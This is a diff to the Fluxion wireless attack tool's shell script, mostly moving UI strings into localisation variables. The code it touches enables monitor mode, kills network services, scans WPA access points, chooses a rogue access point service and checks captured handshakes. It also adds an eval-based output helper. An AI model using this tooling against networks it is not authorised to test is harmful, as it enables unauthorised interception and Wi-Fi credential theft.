if [ $FLUXIONDebug ]; then
|
if [ $FLUXIONDebug ]; then
|
||||||
echo -e "\tStopped $monitor."
|
echo -e "Stopped $monitor."
|
||||||
fi
|
fi
|
||||||
done
|
done
|
||||||
fi
|
fi
|
||||||
|
@ -495,7 +466,7 @@ function set_interface() {
|
||||||
unset_interface
|
unset_interface
|
||||||
|
|
||||||
# Gather candidate interfaces.
|
# Gather candidate interfaces.
|
||||||
echo -e "$FLUXIONVLine Looking for available interfaces..."
|
echo -e "$FLUXIONVLine $FLUXIONFindingWINotice"
|
||||||
|
|
||||||
# Create an array with the list of physical network interfaces
|
# Create an array with the list of physical network interfaces
|
||||||
local WIAvailableData
|
local WIAvailableData
|
||||||
|
@ -518,7 +489,7 @@ function set_interface() {
|
||||||
fi
|
fi
|
||||||
done
|
done
|
||||||
|
|
||||||
WIAvailable[${#WIAvailable[@]}]="$general_repeat"
|
WIAvailable[${#WIAvailable[@]}]="$FLUXIONGeneralRepeatOption"
|
||||||
WIAvailableColor[${#WIAvailableColor[@]}]="$CClr" # (Increases record count)
|
WIAvailableColor[${#WIAvailableColor[@]}]="$CClr" # (Increases record count)
|
||||||
WIAvailableState[${#WIAvailableState[@]}]="x"
|
WIAvailableState[${#WIAvailableState[@]}]="x"
|
||||||
|
|
||||||
|
@ -527,23 +498,24 @@ function set_interface() {
|
||||||
if [ $WIAvailableDataCount -eq 1 -a ${WIAvailableState[0]} = '+' ]; then
|
if [ $WIAvailableDataCount -eq 1 -a ${WIAvailableState[0]} = '+' ]; then
|
||||||
WISelected="${WIAvailable[0]}"
|
WISelected="${WIAvailable[0]}"
|
||||||
else
|
else
|
||||||
io_query_format_fields "$FLUXIONVLine $header_setinterface" "$CRed[$CYel%d$CRed]%b %-8b [%1s] %s\n" \
|
io_query_format_fields "$FLUXIONVLine $FLUXIONInterfaceQuery" \
|
||||||
|
"$CRed[$CYel%d$CRed]%b %-8b [%1s] %s\n" \
|
||||||
WIAvailableColor[@] WIAvailable[@] WIAvailableState[@] WIAvailableInfo[@]
|
WIAvailableColor[@] WIAvailable[@] WIAvailableState[@] WIAvailableInfo[@]
|
||||||
WISelected="${IOQueryFormatFields[1]}"
|
WISelected="${IOQueryFormatFields[1]}"
|
||||||
WISelectedState="${IOQueryFormatFields[2]}"
|
WISelectedState="${IOQueryFormatFields[2]}"
|
||||||
echo
|
echo
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ "$WISelected" = "$general_repeat" ]; then unset_interface; return 1; fi
|
if [ "$WISelected" = "$FLUXIONGeneralRepeatOption" ]; then unset_interface; return 1; fi
|
||||||
|
|
||||||
if [ ! "$FLUXIONDropNet" -a "$WISelectedState" = "-" ]; then
|
if [ ! "$FLUXIONDropNet" -a "$WISelectedState" = "-" ]; then
|
||||||
echo -e "$FLUXIONVLine The wireless interface selected appears to be in use."
|
echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWIError"
|
||||||
echo -e "$FLUXIONVLine To forcefully run it, \"export FLUXIONDropNet=1\"."
|
echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWITip"
|
||||||
sleep 10; unset_interface; return 1;
|
sleep 7; unset_interface; return 1;
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Get interface driver details.
|
# Get interface driver details.
|
||||||
echo -e "$FLUXIONVLine Gathering interface information..."
|
echo -e "$FLUXIONVLine $FLUXIONGatheringWIInfoNotice"
|
||||||
|
|
||||||
WIDriver=$(airmon-ng | grep $WISelected | awk '{print $3}')
|
WIDriver=$(airmon-ng | grep $WISelected | awk '{print $3}')
|
||||||
|
|
||||||
|
@ -554,12 +526,12 @@ function set_interface() {
|
||||||
|
|
||||||
|
|
||||||
# Gather conflict programs.
|
# Gather conflict programs.
|
||||||
echo -e "$FLUXIONVLine Looking for notorious services..."
|
echo -e "$FLUXIONVLine $FLUXIONFindingConflictingProcessesNotice"
|
||||||
|
|
||||||
ConflictPrograms=($(airmon-ng check | awk 'NR>6{print $2}'))
|
ConflictPrograms=($(airmon-ng check | awk 'NR>6{print $2}'))
|
||||||
|
|
||||||
# Kill conflict programs.
|
# Kill conflict programs.
|
||||||
echo -e "$FLUXIONVLine Killing notorious services..."
|
echo -e "$FLUXIONVLine $FLUXIONKillingConflictingProcessesNotice"
|
||||||
|
|
||||||
for program in "${ConflictPrograms[@]}"; do
|
for program in "${ConflictPrograms[@]}"; do
|
||||||
killall "$program" &>$FLUXIONOutputDevice
|
killall "$program" &>$FLUXIONOutputDevice
|
||||||
|
@ -579,7 +551,7 @@ function set_interface() {
|
||||||
|
|
||||||
function run_interface() {
|
function run_interface() {
|
||||||
# Start monitor interface.
|
# Start monitor interface.
|
||||||
echo -e "$FLUXIONVLine Starting monitor interface..."
|
echo -e "$FLUXIONVLine $FLUXIONStartingWIMonitorNotice"
|
||||||
|
|
||||||
# Activate wireless interface monitor mode and save identifier.
|
# Activate wireless interface monitor mode and save identifier.
|
||||||
WIMonitor=$(airmon-ng start $WISelected | awk -F'\[phy[0-9]+\]|\)' '$0~/monitor .* enabled/{print $3}' 2> /dev/null)
|
WIMonitor=$(airmon-ng start $WISelected | awk -F'\[phy[0-9]+\]|\)' '$0~/monitor .* enabled/{print $3}' 2> /dev/null)
|
||||||
|
@ -590,11 +562,11 @@ function run_interface() {
|
||||||
WIAccessPoint=${WIMonitor/mon/ap}
|
WIAccessPoint=${WIMonitor/mon/ap}
|
||||||
|
|
||||||
# Start access point interface.
|
# Start access point interface.
|
||||||
echo -e "$FLUXIONVLine Starting access point interface..."
|
echo -e "$FLUXIONVLine $FLUXIONStartingWIAccessPointNotice"
|
||||||
|
|
||||||
# Create the new virtual interface with the previously generated identifier.
|
# Create the new virtual interface with the previously generated identifier.
|
||||||
if [ `iw dev $WIMonitor interface add $WIAccessPoint type monitor` ]; then
|
if [ `iw dev $WIMonitor interface add $WIAccessPoint type monitor` ]; then
|
||||||
echo "Unable to create AP's virtual interface, returning!"
|
echo -e "$FLUXIONCannotStartWIAccessPointError"
|
||||||
sleep 5
|
sleep 5
|
||||||
return 1
|
return 1
|
||||||
fi
|
fi
|
||||||
|
@ -610,13 +582,13 @@ function set_scanner() {
|
||||||
if [ $FLUXIONAuto ];then
|
if [ $FLUXIONAuto ];then
|
||||||
run_scanner $WIMonitor
|
run_scanner $WIMonitor
|
||||||
else
|
else
|
||||||
local choices=("$choosescan_option_1" "$choosescan_option_2" "$general_back")
|
local choices=("$FLUXIONScannerChannelOptionAll" "$FLUXIONScannerChannelOptionSpecific" "$FLUXIONGeneralBackOption")
|
||||||
io_query_choice "$header_choosescan" choices[@]
|
io_query_choice "$FLUXIONScannerChannelQuery" choices[@]
|
||||||
|
|
||||||
case "$IOQueryChoice" in
|
case "$IOQueryChoice" in
|
||||||
"$choosescan_option_1") run_scanner $WIMonitor;;
|
"$FLUXIONScannerChannelOptionAll") run_scanner $WIMonitor;;
|
||||||
"$choosescan_option_2") set_scanner_channel;;
|
"$FLUXIONScannerChannelOptionSpecific") set_scanner_channel;;
|
||||||
"$general_back") unset_interface; return 1;;
|
"$FLUXIONGeneralBackOption") unset_interface; return 1;;
|
||||||
esac
|
esac
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
@ -627,11 +599,11 @@ function set_scanner() {
|
||||||
function set_scanner_channel() {
|
function set_scanner_channel() {
|
||||||
fluxion_header
|
fluxion_header
|
||||||
|
|
||||||
echo -e "$FLUXIONVLine $header_choosescan"
|
echo -e "$FLUXIONVLine $FLUXIONScannerChannelQuery"
|
||||||
echo
|
echo
|
||||||
echo -e " $scanchan_option_1 ${CBlu}6$CClr "
|
echo -e " $FLUXIONScannerChannelSingleTip ${CBlu}6$CClr "
|
||||||
echo -e " $scanchan_option_2 ${CBlu}1-5$CClr "
|
echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1-5$CClr "
|
||||||
echo -e " $scanchan_option_2 ${CBlu}1,2,5-7,11$CClr "
|
echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1,2,5-7,11$CClr "
|
||||||
echo
|
echo
|
||||||
echo -ne "$FLUXIONPrompt"
|
echo -ne "$FLUXIONPrompt"
|
||||||
|
|
||||||
|
@ -646,7 +618,7 @@ function set_scanner_channel() {
|
||||||
function run_scanner() {
|
function run_scanner() {
|
||||||
echo
|
echo
|
||||||
# Starting scan operation.
|
# Starting scan operation.
|
||||||
echo -e "$FLUXIONVLine Starting scanner, please wait..."
|
echo -e "$FLUXIONVLine $FLUXIONStartingScannerNotice"
|
||||||
|
|
||||||
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
|
||||||
|
|
||||||
|
@ -657,36 +629,38 @@ function run_scanner() {
|
||||||
local monitor=$1
|
local monitor=$1
|
||||||
local channels=$2
|
local channels=$2
|
||||||
|
|
||||||
local channelsQuery=""
|
if [ "$channels" ]; then local channelsQuery="--channel $channels"; fi
|
||||||
if [ "$channels" ]; then channelsQuery="--channel $channels"; fi
|
xterm $FLUXIONHoldXterm -title "$FLUXIONScannerHeader" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -at WPA $channelsQuery -w "$FLUXIONWorkspacePath/dump" $monitor
|
||||||
xterm $FLUXIONHoldXterm -title "$header_scan" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -at WPA $channelsQuery -w "$FLUXIONWorkspacePath/dump" $monitor
|
|
||||||
|
|
||||||
# Syntheize scan operation results.
|
# Syntheize scan operation results.
|
||||||
echo -e "$FLUXIONVLine Synthesizing scan results, please wait..."
|
echo -e "$FLUXIONVLine $FLUXIONPreparingScannerResultsNotice"
|
||||||
# Unfortunately, mawk (alias awk) does not support the {n} times matching operator.
|
# Unfortunately, mawk (alias awk) does not support the {n} times matching operator.
|
||||||
# readarray TargetAPCandidates < <(gawk -F, 'NF==15 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv)
|
# readarray TargetAPCandidates < <(gawk -F, 'NF==15 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv)
|
||||||
readarray TargetAPCandidates < <(awk -F, 'NF==15 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv")
|
readarray TargetAPCandidates < <(awk -F, 'NF==15 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv")
|
||||||
# readarray TargetAPCandidatesClients < <(gawk -F, 'NF==7 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv)
|
# readarray TargetAPCandidatesClients < <(gawk -F, 'NF==7 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv)
|
||||||
readarray TargetAPCandidatesClients < <(awk -F, 'NF==7 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv")
|
readarray TargetAPCandidatesClients < <(awk -F, 'NF==7 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv")
|
||||||
|
|
||||||
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
|
|
||||||
|
|
||||||
if [ ${#TargetAPCandidates[@]} -eq 0 ]; then
|
if [ ${#TargetAPCandidates[@]} -eq 0 ]; then
|
||||||
if [ ! -s "$FLUXIONWorkspacePath/dump-01.csv" ]; then
|
if [ ! -s "$FLUXIONWorkspacePath/dump-01.csv" ]; then
|
||||||
local choices=("$general_back" "$general_exit")
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*
|
||||||
io_query_choice "Wireless card may not be supported (no APs found)" choices[@]
|
"
|
||||||
|
local choices=("$FLUXIONGeneralBackOption" "$FLUXIONGeneralExitOption")
|
||||||
|
io_query_choice "$FLUXIONScannerFailedNotice" choices[@]
|
||||||
|
|
||||||
case "$IOQueryChoice" in
|
case "$IOQueryChoice" in
|
||||||
"$general_back") return 1;;
|
"$FLUXIONGeneralBackOption") return 1;;
|
||||||
"$general_exit") exitmode; return 2;;
|
"$FLUXIONGeneralExitOption") exitmode; return 2;;
|
||||||
esac
|
esac
|
||||||
else
|
else
|
||||||
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
|
||||||
echo -e "$FLUXIONVLine No access points detected, returning..."
|
|
||||||
sleep 5
|
echo -e "$FLUXIONVLine $FLUXIONScannerDetectedNothingNotice"
|
||||||
|
sleep 3
|
||||||
return 1
|
return 1
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
|
||||||
}
|
}
|
||||||
|
|
||||||
function unset_target_ap() {
|
function unset_target_ap() {
|
||||||
|
@ -798,18 +772,18 @@ function set_ap_service() {
|
||||||
else
|
else
|
||||||
fluxion_header
|
fluxion_header
|
||||||
|
|
||||||
echo -e "$FLUXIONVLine $header_askAP"
|
echo -e "$FLUXIONVLine $FLUXIONAPServiceQuery"
|
||||||
echo
|
echo
|
||||||
|
|
||||||
view_target_ap_info
|
view_target_ap_info
|
||||||
|
|
||||||
local choices=("$askAP_option_1" "$askAP_option_2" "$general_back")
|
local choices=("$FLUXIONAPServiceHostapdOption" "$FLUXIONAPServiceAirbaseOption" "$FLUXIONGeneralBackOption")
|
||||||
io_query_choice "" choices[@]
|
io_query_choice "" choices[@]
|
||||||
|
|
||||||
case "$IOQueryChoice" in
|
case "$IOQueryChoice" in
|
||||||
"$askAP_option_1" ) APRogueService="hostapd";;
|
"$FLUXIONAPServiceHostapdOption" ) APRogueService="hostapd";;
|
||||||
"$askAP_option_2" ) APRogueService="airbase-ng";;
|
"$FLUXIONAPServiceAirbaseOption" ) APRogueService="airbase-ng";;
|
||||||
"$general_back" ) unset_ap_service; return 1;;
|
"$FLUXIONGeneralBackOption" ) unset_ap_service; return 1;;
|
||||||
* ) conditional_bail; return 1;;
|
* ) conditional_bail; return 1;;
|
||||||
esac
|
esac
|
||||||
fi
|
fi
|
||||||
|
@ -821,28 +795,33 @@ function set_ap_service() {
|
||||||
|
|
||||||
function check_hash() {
|
function check_hash() {
|
||||||
if [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; then
|
if [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; then
|
||||||
echo -e "$FLUXIONVLine Hash file does not exist!"
|
echo -e "$FLUXIONVLine $FLUXIONHashFileDoesNotExistError"
|
||||||
sleep 3
|
sleep 3
|
||||||
return 1;
|
return 1;
|
||||||
fi
|
fi
|
||||||
|
|
||||||
fluxion_header
|
fluxion_header
|
||||||
|
|
||||||
echo -e "$FLUXIONVLine $DialogQueryHashVerificationMethod"
|
echo -e "$FLUXIONVLine $FLUXIONHashVerificationMethodQuery"
|
||||||
echo
|
echo
|
||||||
|
|
||||||
view_target_ap_info
|
view_target_ap_info
|
||||||
|
|
||||||
local choices=("pyrit" "aircrack-ng" "$general_back") # "$DialogOptionHashVerificationMethod1" "$DialogOptionHashVerificationMethod2" "$general_back")
|
local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption")
|
||||||
io_query_choice "" choices[@]
|
io_query_choice "" choices[@]
|
||||||
|
|
||||||
if [ "$IOQueryChoice" = "$general_back" ]; then return 1; fi
|
local verifier
|
||||||
|
case "$IOQueryChoice" in
|
||||||
|
"$FLUXIONHashVerificationMethodPyritOption") verifier="pyrit";;
|
||||||
|
"$FLUXIONHashVerificationMethodAircrackOption") verifier="aircrack-ng";;
|
||||||
|
"$FLUXIONGeneralBackOption") return 1;;
|
||||||
|
esac
|
||||||
|
|
||||||
hash_check_handshake "$IOQueryChoice" "$APTargetHashPath" "$APTargetSSID" "$APTargetMAC" > $FLUXIONOutputDevice
|
hash_check_handshake "$verifier" "$APTargetHashPath" "$APTargetSSID" "$APTargetMAC" > $FLUXIONOutputDevice
|
||||||
local hashResult=$?
|
local hashResult=$?
|
||||||
|
|
||||||
if [ $hashResult -ne 0 ]; then echo -e "$FLUXIONVLine$CRed Warning$CClr, invalid hash file!";
|
if [ $hashResult -ne 0 ]; then echo -e "$FLUXIONVLine $FLUXIONHashInvalidError";
|
||||||
else echo -e "$FLUXIONVLine$CGrn Success$CClr, hash verification completed!"; fi
|
else echo -e "$FLUXIONVLine $FLUXIONHashValidNotice"; fi
|
||||||
|
|
||||||
sleep 3
|
sleep 3
|
||||||
|
|
||||||
|
@ -852,9 +831,9 @@ function check_hash() {
|
||||||
function set_hash_path() {
|
function set_hash_path() {
|
||||||
fluxion_header
|
fluxion_header
|
||||||
echo
|
echo
|
||||||
echo -e "$FLUXIONVLine Enter path to handshake file $CClr(Example: /.../dump-01.cap)"
|
echo -e "$FLUXIONVLine $FLUXIONPathToHandshakeFileQuery"
|
||||||
echo
|
echo
|
||||||
echo -ne "Absolute path: "
|
echo -ne "$FLUXIONAbsolutePathInfo: "
|
||||||
read APTargetHashPath
|
read APTargetHashPath
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -874,13 +853,13 @@ function set_hash() {
|
||||||
|
|
||||||
fluxion_header
|
fluxion_header
|
||||||
|
|
||||||
echo -e "$FLUXIONVLine $DialogNoticeFoundHash"
|
echo -e "$FLUXIONVLine $FLUXIONFoundHashNotice"
|
||||||
echo
|
echo
|
||||||
|
|
||||||
view_target_ap_info
|
view_target_ap_info
|
||||||
|
|
||||||
echo -e "Path: ${CClr}$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap"
|
echo -e "Path: ${CClr}$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap"
|
||||||
echo -ne "${CRed}$DialogQueryUseFoundHash$CClr [${CWht}Y$CClr/n] "
|
echo -ne "${CRed}$FLUXIONUseFoundHashQuery$CClr [${CWht}Y$CClr/n] "
|
||||||
|
|
||||||
if [ ! $FLUXIONAuto ];then
|
if [ ! $FLUXIONAuto ];then
|
||||||
read APTargetHashPathConsidered
|
read APTargetHashPathConsidered
|
||||||
|
@ -899,18 +878,18 @@ function set_hash() {
|
||||||
while [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; do
|
while [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; do
|
||||||
fluxion_header
|
fluxion_header
|
||||||
|
|
||||||
echo -e "$FLUXIONVLine $DialogQueryHashSource"
|
echo -e "$FLUXIONVLine $FLUXIONHashSourceQuery"
|
||||||
echo
|
echo
|
||||||
|
|
||||||
view_target_ap_info
|
view_target_ap_info
|
||||||
|
|
||||||
local choices=("$DialogOptionHashSourcePath" "$DialogOptionHashSourceRescan" "$general_back")
|
local choices=("$FLUXIONHashSourcePathOption" "$FLUXIONHashSourceRescanOption" "$FLUXIONGeneralBackOption")
|
||||||
io_query_choice "" choices[@]
|
io_query_choice "" choices[@]
|
||||||
|
|
||||||
case "$IOQueryChoice" in
|
case "$IOQueryChoice" in
|
||||||
"$DialogOptionHashSourcePath") set_hash_path; check_hash;;
|
"$FLUXIONHashSourcePathOption") set_hash_path; check_hash;;
|
||||||
"$DialogOptionHashSourceRescan") set_hash;; # Rescan checks hash automatically.
|
"$FLUXIONHashSourceRescanOption") set_hash;; # Rescan checks hash automatically.
|
||||||
"$general_back" ) unset_hash; return 1;;
|
"$FLUXIONGeneralBackOption" ) unset_hash; return 1;;
|
||||||
esac
|
esac
|
||||||
|
|
||||||
# This conditional is required for return values
|
# This conditional is required for return values
|
||||||
|
@ -938,18 +917,18 @@ function set_attack() {
|
||||||
|
|
||||||
fluxion_header
|
fluxion_header
|
||||||
|
|
||||||
echo -e "$FLUXIONVLine $header_set_attack"
|
echo -e "$FLUXIONVLine $FLUXIONAttackQuery"
|
||||||
echo
|
echo
|
||||||
|
|
||||||
view_target_ap_info
|
view_target_ap_info
|
||||||
|
|
||||||
local attacks=(attacks/* "$general_back")
|
local attacks=(attacks/* "$FLUXIONGeneralBackOption")
|
||||||
attacks=("${attacks[@]/attacks\//}")
|
attacks=("${attacks[@]/attacks\//}")
|
||||||
attacks=("${attacks[@]/.sh/}")
|
attacks=("${attacks[@]/.sh/}")
|
||||||
|
|
||||||
io_query_choice "" attacks[@]
|
io_query_choice "" attacks[@]
|
||||||
|
|
||||||
if [ "$IOQueryChoice" = "$general_back" ]; then
|
if [ "$IOQueryChoice" = "$FLUXIONGeneralBackOption" ]; then
|
||||||
unset_target_ap
|
unset_target_ap
|
||||||
unset_attack
|
unset_attack
|
||||||
return 1
|
return 1
|
||||||
|
@ -971,8 +950,8 @@ function set_attack() {
|
||||||
function run_attack() {
|
function run_attack() {
|
||||||
start_attack
|
start_attack
|
||||||
|
|
||||||
local choices=("$DialogOptionSelectAnotherAttack" "$general_exit")
|
local choices=("$FLUXIONSelectAnotherAttackOption" "$FLUXIONGeneralExitOption")
|
||||||
io_query_choice "${CCyn}$FLUXIONAttack$CClr $DialogNoticeAttackInProgress" choices[@]
|
io_query_choice "`io_dynamic_output $FLUXIONAttackInProgressNotice`" choices[@]
|
||||||
|
|
||||||
# IOQueryChoice is a global, meaning, its value is volatile.
|
# IOQueryChoice is a global, meaning, its value is volatile.
|
||||||
# We need to make sure to save the choice before it changes.
|
# We need to make sure to save the choice before it changes.
|
||||||
|
@ -980,7 +959,7 @@ function run_attack() {
|
||||||
|
|
||||||
stop_attack
|
stop_attack
|
||||||
|
|
||||||
if [ "$choice" = "$general_exit" ]; then exitmode; fi
|
if [ "$choice" = "$FLUXIONGeneralExitOption" ]; then exitmode; fi
|
||||||
|
|
||||||
unset_attack
|
unset_attack
|
||||||
}
|
}
|
||||||
|
|
|
@ -29,6 +29,10 @@ function io_input_choice() {
|
||||||
IOInputChoice=$__io_input_choice__choice
|
IOInputChoice=$__io_input_choice__choice
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function io_dynamic_output() {
|
||||||
|
eval 'echo -ne "'${@}'"'
|
||||||
|
}
|
||||||
|
|
||||||
function io_input_enumerated_choice() {
|
function io_input_enumerated_choice() {
|
||||||
local __io_input_enumerated_choice__choices=("${!1}")
|
local __io_input_enumerated_choice__choices=("${!1}")
|
||||||
local __io_input_enumerated_choice__indexes=($(seq ${#__io_input_numeric_choice__choices[@]}))
|
local __io_input_enumerated_choice__indexes=($(seq ${#__io_input_numeric_choice__choices[@]}))
|
||||||
|
|
Loading…
Reference in New Issue